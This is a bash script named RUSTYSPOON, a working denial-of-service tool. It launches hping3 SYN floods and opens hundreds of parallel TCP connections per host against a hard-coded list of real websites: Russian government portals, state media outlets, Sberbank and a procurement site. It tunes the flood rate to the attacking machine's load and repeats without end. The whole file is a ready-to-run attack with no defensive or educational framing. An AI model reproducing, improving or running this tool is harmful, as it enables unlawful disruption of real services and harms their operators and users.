#!/bin/bash
#
# Script must run as privileged user, so start it with the sudo.
#
# If you have powerfull computer you can try slowly increase
# value in $MAXPARALEL
# Keep on mind, that script holds MAXPARALEL connections
# to each server in the $URLIST!
#
# Probably you will reach some kernel limits 
# forks, max connections or file descriptors
# If that happens U need increase this kernel limits too..
#
# 
# Required packages:
#
# essential
# macchanger
# hping3
# socket
#
# RUSTYSPOON VER: 1.1
#
#######################################################################

#set -x

export LC_ALL=C

URLIST="
kremlin.ru
lenta.ru
online.sberbank.ru
ria.ru
sberbank.ru
smotrim.ru
sputniknews.com
tass.ru
tvzvezda.ru
vsoloviev.ru
www.rbc.ru
www.rudyprapor.cz
www.vesti.ru
www.1tv.ru
zakupki.gov.ru
"

#
## GLOBAL VARIABLES
#############################################

MAXPARALEL="100"
# Don't set MAXLOAD too low, or loop will permanently reseting
MAXLOAD="70"
MSECONDS="100" # Initial flood delay in miliseconds
STEP="10" # Load balance stepping in miliseconds
RECORDS="`echo $URLIST |tr ' ' '\n' |wc -l`"


#
## FUNCTIONS
#############################################

hangweb(){
for i in `seq 1 $MAXPARALEL`; do
	#sleep 0.$MSECONDS
	socket $1 80 &>/dev/null &
done
}

#$1 Attack host $2 source IP
synflood(){
		echo "SYNflooding `echo $1 |sed s/@.*//` by real source address"
		hping3 `echo $1 |sed s/@.*//` -i u$MSECONDS -S -q -p 80 &>/dev/null
}


cleanup(){
echo
echo "Wait, cleaning up..."
kill `ps aux |grep socket.*80$ |awk '{print $2}'` &>/dev/null
killall hping3 &>/dev/null
echo Exiting...
exit
}

#
## Let's Rock...
################################################


trap cleanup SIGINT SIGKILL SIGQUIT SIGTERM

# Choose interface
IFACE="`route -n |grep UG |sed s/.*\ //`"

MSECONDS=$((MSECONDS + 1 ))

while true; do
	MAXPARALEL=$((MAXPARALEL + 50 ))
        while [ "$WAITLOAD" = "1" ]; do
	LOAD="`cat /proc/loadavg |sed s/\ .*// |sed s/\\\..*//`"
	clear
	echo "Load too high: $LOAD"
        echo "Waiting..."
	sleep 10
        if [ "$LOAD" -lt "$MAXLOAD" ]; then
                WAITLOAD=0
        fi
        done
	clear
	
	echo "ALEA IACTA EST!"
	echo
	echo -e "Attacked host:"
	echo "--------------------------------------------------------------------------------"
	for URL in $URLIST; do
		echo $URL
		(hangweb $URL ) &>/dev/null &
	done

	echo
	FPIDS=""
	for URL in $URLIST; do
		synflood $URL &
		FPIDS="$FPIDS $!"
	done

	LOAD="`cat /proc/loadavg |sed s/\ .*// |sed s/\\\..*//`"
        if [ "$LOAD" -gt "$MAXLOAD" ]; then
                MSECONDS=$((MSECONDS + $STEP ))
        else
                if [ "$MSECONDS" -gt "$STEP" ]; then
                        MSECONDS=$((MSECONDS - $STEP ))
		else
			MSECONDS=1
                fi
        fi
	while [ "$WAITLOAD" = "1" ]; do
		clear
		echo "Load too high: $LOAD"
		echo "Waiting..."
		if [ "$LOAD" -lt "$MAXLOAD" ]; then
			WAITLOAD=0
		fi
	done
	sleep 3
	STARTTIME="`date +%s`"
	echo
	RUN=1
	while [ $RUN = 1 ]; do
		CONN="`ps aux |grep socket.*80 |grep -v grep |wc -l`"
		SLOTS="`netstat -anp |grep ":80" |grep ESTABL |wc -l`"
		CONNECTIONS="`netstat -anp |grep ":80" |grep SYN |wc -l`"
		echo -en "Holding $SLOTS slots, waste $CONNECTIONS conntrack, load: $LOAD/$MAXLOAD, delay: $MSECONDS ms, instances per host: $MAXPARALEL   "
		sleep 5
		printf \\r
		if [ "$SLOTS" -lt 40 ]; then
			RUN=0
		fi
		if [ "`date +%s`" -gt "$((STARTTIME+180))" ]; then
			RUN=0
		fi
		# Skip loop if load overflow
		LOAD="`cat /proc/loadavg |sed s/\ .*// |sed s/\\\..*//`"
	        if [ "$LOAD" -gt "$MAXLOAD" ]; then
			MAXPARALEL=$((MAXPARALEL - 55 ))
			MSECONDS=$((MSECONDS + 3 ))
			WAITLOAD=1
			RUN=0
	        fi
	done
	kill `ps aux |grep socket.*80$ |awk '{print $2}'` &>/dev/null
	killall hping3 &>/dev/null
done

